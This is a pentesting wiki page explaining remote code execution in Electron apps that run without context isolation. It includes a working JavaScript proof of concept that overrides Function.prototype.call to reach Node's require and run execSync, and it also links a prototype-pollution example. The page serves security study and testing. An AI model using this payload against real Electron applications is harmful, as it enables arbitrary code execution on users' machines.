hacktricks/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
2024-12-12 11:39:29 +01:00

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# Electron contextIsolation RCE via Electron internal code
{% hint style="success" %}
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{% endhint %}
## Example 1
Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=41)
"exit" event listener is always set by the internal code when de page loading is started. This event is emitted just before navigation:
```javascript
process.on('exit', function (){
for (let p in cachedArchives) {
if (!hasProp.call(cachedArchives, p)) continue
cachedArchives[p].destroy()
}
})
```
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
![](<../../../.gitbook/assets/image (1070).png>)
https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/bin/events.js#L156-L231 -- No longer exists
Then it goes here:
![](<../../../.gitbook/assets/image (793).png>)
Where "self" is Node's process object:
![](<../../../.gitbook/assets/image (700).png>)
The process object has a references to "require" function:
```
process.mainModule.require
```
As the handler.call is going to receive the process object we can overwrite it to execute arbitrary code:
```html
<script>
Function.prototype.call = function(process){
process.mainModule.require('child_process').execSync('calc');
}
location.reload();//Trigger the "exit" event
</script>
```
## Example 2
Get **require object from prototype pollution**. From [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81)
Leak:
<figure><img src="../../../.gitbook/assets/image (279).png" alt=""><figcaption></figcaption></figure>
Exploit:
<figure><img src="../../../.gitbook/assets/image (89).png" alt=""><figcaption></figcaption></figure>
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}